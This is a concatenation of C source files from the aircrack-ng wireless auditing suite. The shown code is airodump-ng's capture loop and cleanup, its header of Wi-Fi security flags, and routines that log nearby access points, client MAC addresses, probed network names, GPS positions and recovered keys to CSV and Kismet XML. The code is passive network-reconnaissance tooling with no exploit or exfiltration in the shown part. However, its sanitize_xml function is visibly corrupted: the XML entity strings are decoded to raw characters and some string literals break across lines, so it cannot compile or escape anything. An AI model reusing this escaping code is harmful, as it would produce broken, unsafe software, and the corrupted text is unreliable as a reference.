pkt_tv.tv_sec = pkh.tv_sec;
pkt_tv.tv_usec = pkh.tv_usec;
const useconds_t usec_diff
= (useconds_t) time_diff(&prev_tv, &pkt_tv);
if (usec_diff > 0) usleep(usec_diff);
}
else if (read_pkts % 10 == 0)
usleep(1);
// track the packet's timestamp
prev_tv.tv_sec = pkh.tv_sec;
prev_tv.tv_usec = pkh.tv_usec;
}
else if (lopt.s_iface != NULL)
{
/* capture one packet */
FD_ZERO(&rfds);
for (i = 0; i < lopt.num_cards; i++)
{
FD_SET(fd_raw[i], &rfds); // NOLINT(hicpp-signed-bitwise)
}
tv0.tv_sec = lopt.update_s;
tv0.tv_usec = (lopt.update_s == 0) ? REFRESH_RATE : 0;
gettimeofday(&tv1, NULL);
if (select(fdh + 1, &rfds, NULL, NULL, &tv0) < 0)
{
if (errno == EINTR)
{
gettimeofday(&tv2, NULL);
time_slept += 1000000UL * (tv2.tv_sec - tv1.tv_sec)
+ (tv2.tv_usec - tv1.tv_usec);
continue;
}
perror("select failed");
/* Restore terminal */
show_cursor();
return (EXIT_FAILURE);
}
}
else
usleep(1);
gettimeofday(&tv2, NULL);
time_slept += 1000000UL * (tv2.tv_sec - tv1.tv_sec)
+ (tv2.tv_usec - tv1.tv_usec);
if (time_slept > REFRESH_RATE && time_slept > lopt.update_s * 1000000)
{
time_slept = 0;
update_dataps();
/* update the window size */
if (ioctl(0, TIOCGWINSZ, &(lopt.ws)) < 0)
{
lopt.ws.ws_row = 25;
lopt.ws.ws_col = 80;
}
/* display the list of access points we have */
if (!lopt.do_pause && !lopt.background_mode)
{
ALLEGE(pthread_mutex_lock(&(lopt.mx_print)) == 0);
dump_print(lopt.ws.ws_row, lopt.ws.ws_col, lopt.num_cards);
ALLEGE(pthread_mutex_unlock(&(lopt.mx_print)) == 0);
}
continue;
}
if (opt.s_file == NULL && lopt.s_iface != NULL)
{
for (i = 0; i < lopt.num_cards; i++)
{
if (FD_ISSET(fd_raw[i], &rfds)) // NOLINT(hicpp-signed-bitwise)
{
memset(buffer, 0, sizeof(buffer));
h80211 = buffer;
if ((caplen = wi_read(
wi[i], NULL, NULL, h80211, sizeof(buffer), &ri))
== -1)
{
wi_read_failed++;
if (wi_read_failed > 1)
{
lopt.do_exit = 1;
break;
}
memset(lopt.message, '\x00', sizeof(lopt.message));
snprintf(lopt.message,
sizeof(lopt.message),
"][ interface %s down ",
wi_get_ifname(wi[i]));
// reopen in monitor mode
strlcpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam));
wi_close(wi[i]);
wi[i] = wi_open(ifnam);
if (!wi[i])
{
printf("Can't reopen %s\n", ifnam);
/* Restore terminal */
show_cursor();
exit(EXIT_FAILURE);
}
fd_raw[i] = wi_fd(wi[i]);
if (fd_raw[i] > fdh) fdh = fd_raw[i];
break;
}
read_pkts++;
wi_read_failed = 0;
dump_add_packet(h80211, caplen, &ri, i);
}
}
}
else if (opt.s_file != NULL)
{
dump_add_packet(h80211, caplen, &ri, i);
}
if (quitting && time(NULL) - quitting_event_ts > 3)
{
quitting_event_ts = 0;
quitting = 0;
snprintf(lopt.message, sizeof(lopt.message), "]");
}
}
if (lopt.batt) free(lopt.batt);
if (lopt.elapsed_time) free(lopt.elapsed_time);
if (lopt.own_channels) free(lopt.own_channels);
if (lopt.f_essid) free(lopt.f_essid);
if (opt.prefix) free(opt.prefix);
if (opt.f_cap_name) free(opt.f_cap_name);
if (lopt.keyout) free(lopt.keyout);
#ifdef HAVE_PCRE2
if (lopt.f_essid_regex)
{
pcre2_match_data_free(lopt.f_essid_match_data);
pcre2_code_free(lopt.f_essid_regex);
}
#elif defined HAVE_PCRE
if (lopt.f_essid_regex) pcre_free(lopt.f_essid_regex);
#endif
for (i = 0; i < lopt.num_cards; i++) wi_close(wi[i]);
if (opt.record_data)
{
if (opt.output_format_csv)
dump_write_csv(lopt.ap_1st, lopt.st_1st, lopt.f_encrypt);
if (opt.output_format_kismet_csv)
dump_write_kismet_csv(lopt.ap_1st, lopt.st_1st, lopt.f_encrypt);
if (opt.output_format_kismet_netxml)
dump_write_kismet_netxml(lopt.ap_1st,
lopt.st_1st,
lopt.f_encrypt,
lopt.airodump_start_time);
if (opt.output_format_csv && opt.f_txt != NULL) fclose(opt.f_txt);
if (opt.output_format_kismet_csv && opt.f_kis != NULL)
fclose(opt.f_kis);
if (opt.output_format_kismet_netxml && opt.f_kis_xml != NULL)
{
fclose(opt.f_kis_xml);
free(lopt.airodump_start_time);
}
if (opt.f_gps != NULL) fclose(opt.f_gps);
if (opt.output_format_pcap && opt.f_cap != NULL) fclose(opt.f_cap);
if (opt.f_ivs != NULL) fclose(opt.f_ivs);
if (opt.f_logcsv != NULL) fclose(opt.f_logcsv);
}
if (!lopt.save_gps)
{
snprintf((char *) buffer, 4096, "%s-%02d.gps", argv[2], opt.f_index);
unlink((char *) buffer);
}
if (opt.usegpsd)
{
void * retval = NULL;
pthread_join(lopt.gps_tid, &retval);
if (retval != NULL) free(retval);
}
if (!lopt.background_mode)
{
pthread_join(lopt.input_tid, NULL);
}
ap_cur = lopt.ap_1st;
while (ap_cur != NULL)
{
// Clean content of ap_cur list (first element: lopt.ap_1st)
uniqueiv_wipe(ap_cur->uiv_root);
list_tail_free(&(ap_cur->packets));
if (lopt.manufList) free(ap_cur->manuf);
if (lopt.detect_anomaly) data_wipe(ap_cur->data_root);
ap_cur = ap_cur->next;
}
ap_cur = lopt.ap_1st;
while (ap_cur != NULL)
{
// Freeing AP List
ap_next = ap_cur->next;
free(ap_cur);
ap_cur = ap_next;
}
st_cur = lopt.st_1st;
while (st_cur != NULL)
{
st_next = st_cur->next;
if (lopt.manufList) free(st_cur->manuf);
free(st_cur);
st_cur = st_next;
}
na_cur = lopt.na_1st;
while (na_cur != NULL)
{
na_next = na_cur->next;
free(na_cur);
na_cur = na_next;
}
if (lopt.manufList)
{
oui_cur = lopt.manufList;
while (oui_cur != NULL)
{
oui_next = oui_cur->next;
free(oui_cur);
oui_cur = oui_next;
}
}
flushMACs(lopt.rBSSID);
free(lopt.rBSSID);
reset_term();
show_cursor();
return (EXIT_SUCCESS);
} |
C/C++ | aircrack-ng/src/airodump-ng/airodump-ng.h | /*
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
* warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
* NON-INFRINGEMENT. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. If you
* do not wish to do so, delete this exception statement from your
* version. If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifndef _AIRODUMP_NG_H_
#define _AIRODUMP_NG_H_
#include <sys/ioctl.h>
#if !defined(TIOCGWINSZ) && !defined(linux)
#include <sys/termios.h>
#endif
#include "aircrack-ng/third-party/eapol.h"
#include "aircrack-ng/support/pcap_local.h"
/* some constants */
#define REFRESH_RATE 100000 /* default delay in us between updates */
#define DEFAULT_HOPFREQ 250 /* default delay in ms between channel hopping */
#define DEFAULT_CWIDTH 20 /* 20 MHz channels by default */
#define NB_PRB 10 /* size of probed ESSID ring buffer */
#define MAX_CARDS 8 /* maximum number of cards to capture from */
#define STD_OPN 0x0001u
#define STD_WEP 0x0002u
#define STD_WPA 0x0004u
#define STD_WPA2 0x0008u
#define STD_FIELD (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)
#define ENC_WEP 0x0010u
#define ENC_TKIP 0x0020u
#define ENC_WRAP 0x0040u
#define ENC_CCMP 0x0080u
#define ENC_WEP40 0x1000u
#define ENC_WEP104 0x0100u
#define ENC_GCMP 0x4000u
#define ENC_GMAC 0x8000u
#define ENC_FIELD \
(ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP40 | ENC_WEP104 \
| ENC_GCMP | ENC_GMAC)
#define AUTH_OPN 0x0200u
#define AUTH_PSK 0x0400u
#define AUTH_MGT 0x0800u
#define AUTH_CMAC 0x10000u
#define AUTH_SAE 0x20000u
#define AUTH_OWE 0x40000u
#define AUTH_FIELD \
(AUTH_OPN | AUTH_PSK | AUTH_CMAC | AUTH_MGT | AUTH_SAE | AUTH_OWE)
#define STD_QOS 0x2000u
#define QLT_TIME 5
#define QLT_COUNT 25
#define SORT_BY_NOTHING 0
#define SORT_BY_BSSID 1
#define SORT_BY_POWER 2
#define SORT_BY_BEACON 3
#define SORT_BY_DATA 4
#define SORT_BY_PRATE 5
#define SORT_BY_CHAN 6
#define SORT_BY_MBIT 7
#define SORT_BY_ENC 8
#define SORT_BY_CIPHER 9
#define SORT_BY_AUTH 10
#define SORT_BY_ESSID 11
#define MAX_SORT 11
#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
#define PROBE_REQ \
"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
// milliseconds to store last packets
#define BUFFER_TIME 3000
extern int get_ram_size(void);
extern const unsigned long int crc_tbl[256];
extern const unsigned char crc_chop_tbl[256][4];
#define MIN_RAM_SIZE_LOAD_OUI_RAM 32768
/* linked list of received packets for the last few seconds */
struct pkt_buf
{
struct pkt_buf * next; /* next packet in list */
unsigned char * packet; /* packet */
unsigned short length; /* packet length */
struct timeval ctime; /* capture time */
};
/* oui struct for list management */
struct oui
{
char id[9]; /* TODO: Don't use ASCII chars to compare, use unsigned char[3]
(later) with the value (hex ascii will have to be converted)
*/
char
manuf[128]; /* TODO: Switch to a char * later to improve memory usage */
struct oui * next;
};
#include "aircrack-ng/support/station.h"
/* linked list of detected macs through ack, cts or rts frames */
struct NA_info
{
struct NA_info * prev; /* the prev client in list */
struct NA_info * next; /* the next client in list */
time_t tinit, tlast; /* first and last time seen */
unsigned char namac[6]; /* the stations MAC address */
int power; /* last signal power */
int channel; /* captured on channel */
int ack; /* number of ACK frames */
int ack_old; /* old number of ACK frames */
int ackps; /* number of ACK frames/s */
int cts; /* number of CTS frames */
int rts_r; /* number of RTS frames (rx) */
int rts_t; /* number of RTS frames (tx) */
int other; /* number of other frames */
struct timeval tv; /* time for ack per second */
};
#endif |
C | aircrack-ng/src/airodump-ng/dump_write.c | /*
* Airodump-ng text files output
*
* Copyright (C) 2018-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <stdio.h>
#include <time.h>
#include <limits.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h> // ftruncate
#include <sys/types.h> // ftruncate
#include <sys/time.h>
#include "aircrack-ng/defs.h"
#include "airodump-ng.h"
#include "aircrack-ng/support/communications.h"
#include "dump_write.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/utf8/verifyssid.h"
extern struct communication_options opt;
extern int getFrequencyFromChannel(int channel); // "aircrack-osdep/common.h"
extern int is_filtered_essid(unsigned char * essid); // airodump-ng.c
static char * format_text_for_csv(const unsigned char * input, size_t len)
{
// Unix style encoding
char *ret, *rret;
size_t i, pos;
int contains_space_end;
const char * hex_table = "0123456789ABCDEF";
if (len == 0 || input == NULL)
{
ret = (char *) malloc(1);
ALLEGE(ret != NULL);
ret[0] = 0;
return (ret);
}
pos = 0;
contains_space_end = (input[0] == ' ') || input[len - 1] == ' ';
// Make sure to have enough memory for all that stuff
ret = (char *) malloc((len * 4) + 1 + 2);
ALLEGE(ret != NULL);
if (contains_space_end)
{
ret[pos++] = '"';
}
for (i = 0; i < len; i++)
{
if (!isprint(input[i]) || input[i] == ',' || input[i] == '\\'
|| input[i] == '"')
{
ret[pos++] = '\\';
}
if (isprint(input[i]))
{
ret[pos++] = input[i];
}
else if (input[i] == '\n' || input[i] == '\r' || input[i] == '\t')
{
ret[pos++] = (char) ((input[i] == '\n') ? 'n'
: (input[i] == '\t') ? 't'
: 'r');
}
else
{
ret[pos++] = 'x';
ret[pos++] = hex_table[input[i] / 16];
ret[pos++] = hex_table[input[i] % 16];
}
}
if (contains_space_end)
{
ret[pos++] = '"';
}
ret[pos++] = '\0';
rret = realloc(ret, pos);
return (rret) ? (rret) : (ret);
}
int dump_write_csv(struct AP_info * ap_1st,
struct ST_info * st_1st,
unsigned int f_encrypt)
{
int i, probes_written;
struct tm * ltime;
struct AP_info * ap_cur;
struct ST_info * st_cur;
char * temp;
if (!opt.record_data || !opt.output_format_csv) return (0);
fseek(opt.f_txt, 0, SEEK_SET);
fprintf(opt.f_txt,
"\r\nBSSID, First time seen, Last time seen, channel, Speed, "
"Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, "
"ID-length, ESSID, Key\r\n");
ap_cur = ap_1st;
while (ap_cur != NULL)
{
if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
{
ap_cur = ap_cur->next;
continue;
}
if (ap_cur->security != 0 && f_encrypt != 0
&& ((ap_cur->security & f_encrypt) == 0))
{
ap_cur = ap_cur->next;
continue;
}
if (is_filtered_essid(ap_cur->essid))
{
ap_cur = ap_cur->next;
continue;
}
fprintf(opt.f_txt,
"%02X:%02X:%02X:%02X:%02X:%02X, ",
ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2],
ap_cur->bssid[3],
ap_cur->bssid[4],
ap_cur->bssid[5]);
ltime = localtime(&ap_cur->tinit);
REQUIRE(ltime != NULL);
fprintf(opt.f_txt,
"%04d-%02d-%02d %02d:%02d:%02d, ",
1900 + ltime->tm_year,
1 + ltime->tm_mon,
ltime->tm_mday,
ltime->tm_hour,
ltime->tm_min,
ltime->tm_sec);
ltime = localtime(&ap_cur->tlast);
REQUIRE(ltime != NULL);
fprintf(opt.f_txt,
"%04d-%02d-%02d %02d:%02d:%02d, ",
1900 + ltime->tm_year,
1 + ltime->tm_mon,
ltime->tm_mday,
ltime->tm_hour,
ltime->tm_min,
ltime->tm_sec);
fprintf(opt.f_txt, "%2d, %3d,", ap_cur->channel, ap_cur->max_speed);
if ((ap_cur->security
& (STD_OPN | STD_WEP | STD_WPA | STD_WPA2 | AUTH_SAE | AUTH_OWE))
== 0)
fprintf(opt.f_txt, " ");
else
{
if (ap_cur->security & STD_WPA2)
{
if (ap_cur->security & AUTH_SAE || ap_cur->security & AUTH_OWE)
fprintf(opt.f_txt, " WPA3");
fprintf(opt.f_txt, " WPA2");
}
if (ap_cur->security & STD_WPA) fprintf(opt.f_txt, " WPA");
if (ap_cur->security & STD_WEP) fprintf(opt.f_txt, " WEP");
if (ap_cur->security & STD_OPN) fprintf(opt.f_txt, " OPN");
}
fprintf(opt.f_txt, ",");
if ((ap_cur->security & ENC_FIELD) == 0)
fprintf(opt.f_txt, " ");
else
{
if (ap_cur->security & ENC_CCMP) fprintf(opt.f_txt, " CCMP");
if (ap_cur->security & ENC_WRAP) fprintf(opt.f_txt, " WRAP");
if (ap_cur->security & ENC_TKIP) fprintf(opt.f_txt, " TKIP");
if (ap_cur->security & ENC_WEP104) fprintf(opt.f_txt, " WEP104");
if (ap_cur->security & ENC_WEP40) fprintf(opt.f_txt, " WEP40");
if (ap_cur->security & ENC_WEP) fprintf(opt.f_txt, " WEP");
if (ap_cur->security & ENC_GCMP) fprintf(opt.f_txt, " GCMP");
if (ap_cur->security & ENC_GMAC) fprintf(opt.f_txt, " GMAC");
}
fprintf(opt.f_txt, ",");
if ((ap_cur->security & AUTH_FIELD) == 0)
fprintf(opt.f_txt, " ");
else
{
if (ap_cur->security & AUTH_SAE) fprintf(opt.f_txt, " SAE");
if (ap_cur->security & AUTH_MGT) fprintf(opt.f_txt, " MGT");
if (ap_cur->security & AUTH_CMAC) fprintf(opt.f_txt, " CMAC");
if (ap_cur->security & AUTH_PSK)
{
if (ap_cur->security & STD_WEP)
fprintf(opt.f_txt, " SKA");
else
fprintf(opt.f_txt, " PSK");
}
if (ap_cur->security & AUTH_OWE) fprintf(opt.f_txt, " OWE");
if (ap_cur->security & AUTH_OPN) fprintf(opt.f_txt, " OPN");
}
fprintf(opt.f_txt,
", %3d, %8lu, %8lu, ",
ap_cur->avg_power,
ap_cur->nb_bcn,
ap_cur->nb_data);
fprintf(opt.f_txt,
"%3d.%3d.%3d.%3d, ",
ap_cur->lanip[0],
ap_cur->lanip[1],
ap_cur->lanip[2],
ap_cur->lanip[3]);
fprintf(opt.f_txt, "%3d, ", ap_cur->ssid_length);
if (verifyssid(ap_cur->essid))
fprintf(opt.f_txt, "%s, ", ap_cur->essid);
else
{
temp = format_text_for_csv(ap_cur->essid,
(size_t) ap_cur->ssid_length);
if (temp != NULL) //-V547
{
fprintf(opt.f_txt, "%s, ", temp);
free(temp);
}
}
if (ap_cur->key != NULL)
{
const int key_len = strlen(ap_cur->key);
for (i = 0; i < key_len; i++)
{
fprintf(opt.f_txt, "%02X", ap_cur->key[i]);
if (i < (key_len - 1)) fprintf(opt.f_txt, ":");
}
}
fprintf(opt.f_txt, "\r\n");
ap_cur = ap_cur->next;
}
fprintf(opt.f_txt,
"\r\nStation MAC, First time seen, Last time seen, "
"Power, # packets, BSSID, Probed ESSIDs\r\n");
st_cur = st_1st;
while (st_cur != NULL)
{
ap_cur = st_cur->base;
if (ap_cur->nb_pkt < 2)
{
st_cur = st_cur->next;
continue;
}
fprintf(opt.f_txt,
"%02X:%02X:%02X:%02X:%02X:%02X, ",
st_cur->stmac[0],
st_cur->stmac[1],
st_cur->stmac[2],
st_cur->stmac[3],
st_cur->stmac[4],
st_cur->stmac[5]);
ltime = localtime(&st_cur->tinit);
REQUIRE(ltime != NULL);
fprintf(opt.f_txt,
"%04d-%02d-%02d %02d:%02d:%02d, ",
1900 + ltime->tm_year,
1 + ltime->tm_mon,
ltime->tm_mday,
ltime->tm_hour,
ltime->tm_min,
ltime->tm_sec);
ltime = localtime(&st_cur->tlast);
REQUIRE(ltime != NULL);
fprintf(opt.f_txt,
"%04d-%02d-%02d %02d:%02d:%02d, ",
1900 + ltime->tm_year,
1 + ltime->tm_mon,
ltime->tm_mday,
ltime->tm_hour,
ltime->tm_min,
ltime->tm_sec);
fprintf(opt.f_txt, "%3d, %8lu, ", st_cur->power, st_cur->nb_pkt);
if (!memcmp(ap_cur->bssid, BROADCAST, 6))
fprintf(opt.f_txt, "(not associated) ,");
else
fprintf(opt.f_txt,
"%02X:%02X:%02X:%02X:%02X:%02X,",
ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2],
ap_cur->bssid[3],
ap_cur->bssid[4],
ap_cur->bssid[5]);
probes_written = 0;
for (i = 0; i < NB_PRB; i++)
{
if (st_cur->ssid_length[i] == 0) continue;
if (verifyssid((const unsigned char *) st_cur->probes[i]))
{
temp = (char *) calloc(
1, (st_cur->ssid_length[i] + 1) * sizeof(char));
ALLEGE(temp != NULL);
memcpy(temp, st_cur->probes[i], st_cur->ssid_length[i] + 1u);
}
else
{
temp = format_text_for_csv((unsigned char *) st_cur->probes[i],
(size_t) st_cur->ssid_length[i]);
ALLEGE(temp != NULL); //-V547
}
if (probes_written == 0)
{
fprintf(opt.f_txt, "%s", temp);
probes_written = 1;
}
else
{
fprintf(opt.f_txt, ",%s", temp);
}
free(temp);
}
fprintf(opt.f_txt, "\r\n");
st_cur = st_cur->next;
}
fprintf(opt.f_txt, "\r\n");
fflush(opt.f_txt);
return (0);
}
int dump_write_airodump_ng_logcsv_add_ap(const struct AP_info * ap_cur,
const int32_t ri_power,
struct tm * tm_gpstime,
float * gps_loc)
{
if (ap_cur == NULL || !opt.output_format_log_csv || !opt.f_logcsv)
{
return (0);
}
// Local computer time
const struct tm * ltime = localtime(&ap_cur->tlast);
REQUIRE(ltime != NULL);
fprintf(opt.f_logcsv,
"%04d-%02d-%02d %02d:%02d:%02d,",
1900 + ltime->tm_year,
1 + ltime->tm_mon,
ltime->tm_mday,
ltime->tm_hour,
ltime->tm_min,
ltime->tm_sec);
// Gps time
fprintf(opt.f_logcsv,
"%04d-%02d-%02d %02d:%02d:%02d,",
1900 + tm_gpstime->tm_year,
1 + tm_gpstime->tm_mon,
tm_gpstime->tm_mday,
tm_gpstime->tm_hour,
tm_gpstime->tm_min,
tm_gpstime->tm_sec);
// ESSID
fprintf(opt.f_logcsv, "%s,", ap_cur->essid);
// BSSID
fprintf(opt.f_logcsv,
"%02X:%02X:%02X:%02X:%02X:%02X,",
ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2],
ap_cur->bssid[3],
ap_cur->bssid[4],
ap_cur->bssid[5]);
// RSSI
fprintf(opt.f_logcsv, "%d,", ri_power);
// Network Security
if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)) == 0)
fputs(" ", opt.f_logcsv);
else
{
if (ap_cur->security & STD_WPA2) fputs(" WPA2 ", opt.f_logcsv);
if (ap_cur->security & STD_WPA) fputs(" WPA ", opt.f_logcsv);
if (ap_cur->security & STD_WEP) fputs(" WEP ", opt.f_logcsv);
if (ap_cur->security & STD_OPN) fputs(" OPN", opt.f_logcsv);
}
fputs(",", opt.f_logcsv);
// Lat, Lon, Lat Error, Lon Error
fprintf(opt.f_logcsv,
"%.6f,%.6f,%.3f,%.3f,AP\r\n",
gps_loc[0],
gps_loc[1],
gps_loc[5],
gps_loc[6]);
return (0);
}
int dump_write_airodump_ng_logcsv_add_client(const struct AP_info * ap_cur,
const struct ST_info * st_cur,
const int32_t ri_power,
struct tm * tm_gpstime,
float * gps_loc)
{
if (st_cur == NULL || !opt.output_format_log_csv || !opt.f_logcsv)
{
return (0);
}
// Local computer time
struct tm * ltime = localtime(&ap_cur->tlast);
REQUIRE(ltime != NULL);
fprintf(opt.f_logcsv,
"%04d-%02d-%02d %02d:%02d:%02d,",
1900 + ltime->tm_year,
1 + ltime->tm_mon,
ltime->tm_mday,
ltime->tm_hour,
ltime->tm_min,
ltime->tm_sec);
// GPS time
fprintf(opt.f_logcsv,
"%04d-%02d-%02d %02d:%02d:%02d,",
1900 + tm_gpstime->tm_year,
1 + tm_gpstime->tm_mon,
tm_gpstime->tm_mday,
tm_gpstime->tm_hour,
tm_gpstime->tm_min,
tm_gpstime->tm_sec);
// Client => No ESSID
fprintf(opt.f_logcsv, ",");
// BSSID
fprintf(opt.f_logcsv,
"%02X:%02X:%02X:%02X:%02X:%02X,",
st_cur->stmac[0],
st_cur->stmac[1],
st_cur->stmac[2],
st_cur->stmac[3],
st_cur->stmac[4],
st_cur->stmac[5]);
// RSSI
fprintf(opt.f_logcsv, "%d,", ri_power);
// Client => Network Security: none
fprintf(opt.f_logcsv, ",");
// Lat, Lon, Lat Error, Lon Errorst_cur->power
fprintf(opt.f_logcsv,
"%.6f,%.6f,%.3f,%.3f,",
gps_loc[0],
gps_loc[1],
gps_loc[5],
gps_loc[6]);
// Type
fprintf(opt.f_logcsv, "Client\r\n");
return (0);
}
static char * sanitize_xml(unsigned char * text, size_t length)
{
size_t i;
size_t len, current_text_len;
unsigned char * pos;
char * newtext = NULL;
if (text != NULL && length > 0)
{
len = 8 * length;
newtext = (char *) calloc(
1, (len + 1) * sizeof(char)); // Make sure we have enough space
ALLEGE(newtext != NULL);
pos = text;
for (i = 0; i < length; ++i, ++pos)
{
switch (*pos)
{
case '&':
strncat(newtext, "&", len);
break;
case '<':
strncat(newtext, "<", len);
break;
case '>':
strncat(newtext, ">", len);
break;
case '\'':
strncat(newtext, "'", len);
break;
case '"':
strncat(newtext, """, len);
break;
case '\r':
strncat(newtext, "
", len);
break;
case '\n':
strncat(newtext, "
", len);
break;
default:
if (isprint((int) (*pos)))
{
newtext[strlen(newtext)] = *pos;
}
else
{
strncat(newtext, "&#x", len);
current_text_len = strlen(newtext);
snprintf(newtext + current_text_len,
len - current_text_len + 1,
"%04x",
*pos);
strncat(newtext, ";", len);
}
break;
}
}
char * tmp_newtext = (char *) realloc(newtext, strlen(newtext) + 1);
ALLEGE(tmp_newtext != NULL);
newtext = tmp_newtext;
}
return (newtext);
}
char * get_manufacturer_from_string(char * buffer)
{
char * manuf = NULL;
char * buffer_manuf;
if (buffer != NULL && *buffer != '\0')
{
buffer_manuf = strstr(buffer, "(hex)");
if (buffer_manuf != NULL)
{
buffer_manuf += 6; // skip '(hex)' and one more character (there's
// at least one 'space' character after that
// string)
while (*buffer_manuf == '\t' || *buffer_manuf == ' ')
{
++buffer_manuf;
}
// Did we stop at the manufacturer
if (*buffer_manuf != '\0')
{
const int buffer_manuf_len_minus_1 = strlen(buffer_manuf);
// First make sure there's no end of line
if (buffer_manuf[buffer_manuf_len_minus_1] == '\n'
|| buffer_manuf[buffer_manuf_len_minus_1] == '\r')
{
buffer_manuf[buffer_manuf_len_minus_1] = '\0';
if (buffer_manuf_len_minus_1 >= 1
&& (buffer_manuf[buffer_manuf_len_minus_1 - 1] == '\n'
|| buffer[buffer_manuf_len_minus_1 - 1] == '\r'))
{
buffer_manuf[buffer_manuf_len_minus_1 - 1] = '\0';
}
}
if (*buffer_manuf != '\0')
{
if ((manuf = (char *) malloc((strlen(buffer_manuf) + 1)
* sizeof(char)))
== NULL)
{
perror("malloc failed");
return (NULL);
}
snprintf(
manuf, strlen(buffer_manuf) + 1, "%s", buffer_manuf);
}
}
}
}
return (manuf);
}
#define KISMET_NETXML_HEADER_BEGIN \
"<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE " \
"detection-run SYSTEM " \
"\"http://kismetwireless.net/kismet-3.1.0.dtd\">\n\n<detection-run " \
"kismet-version=\"airodump-ng-1.0\" start-time=\""
#define KISMET_NETXML_HEADER_END "\">\n\n"
#define KISMET_NETXML_TRAILER "</detection-run>"
#define TIME_STR_LENGTH 255
static int dump_write_kismet_netxml_client_info(struct ST_info * client,
int client_no)
{
char first_time[TIME_STR_LENGTH];
char last_time[TIME_STR_LENGTH];
char * manuf;
int client_max_rate, average_power, max_power, i, nb_probes_written,
is_unassociated;
char * essid = NULL;
if (client == NULL || (client_no <= 0 || client_no >= INT_MAX))
{
return (1);
}
is_unassociated = (client->base == NULL
|| memcmp(client->base->bssid, BROADCAST, 6) == 0);
strncpy(first_time, ctime(&client->tinit), TIME_STR_LENGTH - 1);
ENSURE(strlen(first_time) >= 1);
first_time[strlen(first_time) - 1] = 0; // remove new line
strncpy(last_time, ctime(&client->tlast), TIME_STR_LENGTH - 1);
ENSURE(strlen(last_time) >= 1);
last_time[strlen(last_time) - 1] = 0; // remove new line
fprintf(opt.f_kis_xml,
"\t\t<wireless-client number=\"%d\" "
"type=\"%s\" first-time=\"%s\""
" last-time=\"%s\">\n",
client_no,
(is_unassociated) ? "tods" : "established",
first_time,
last_time);
fprintf(opt.f_kis_xml,
"\t\t\t<client-mac>%02X:%02X:%02X:%02X:%02X:%02X</client-mac>\n",
client->stmac[0],
client->stmac[1],
client->stmac[2],
client->stmac[3],
client->stmac[4],
client->stmac[5]);
/* Manufacturer, if set using standard oui list */
manuf
= sanitize_xml((unsigned char *) client->manuf, strlen(client->manuf));
fprintf(opt.f_kis_xml,
"\t\t\t<client-manuf>%s</client-manuf>\n",
(manuf != NULL) ? manuf : "Unknown");
free(manuf);
/* SSID item, aka Probes */
nb_probes_written = 0;
for (i = 0; i < NB_PRB; i++)
{
if (client->probes[i][0] == '\0') continue;
fprintf(opt.f_kis_xml,
"\t\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
first_time,
last_time);
fprintf(opt.f_kis_xml,
"\t\t\t\t<type>Probe Request</type>\n"
"\t\t\t\t<max-rate>54.000000</max-rate>\n"
"\t\t\t\t<packets>1</packets>\n"
"\t\t\t\t<encryption>None</encryption>\n");
essid = sanitize_xml((unsigned char *) client->probes[i],
(size_t) client->ssid_length[i]);
if (essid != NULL)
{
fprintf(opt.f_kis_xml, "\t\t\t\t<ssid>%s</ssid>\n", essid);
free(essid);
}
fprintf(opt.f_kis_xml, "\t\t\t</SSID>\n");
++nb_probes_written;
}
// Unassociated client with broadcast probes
if (is_unassociated && nb_probes_written == 0)
{
fprintf(opt.f_kis_xml,
"\t\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
first_time,
last_time);
fprintf(opt.f_kis_xml,
"\t\t\t\t<type>Probe Request</type>\n"
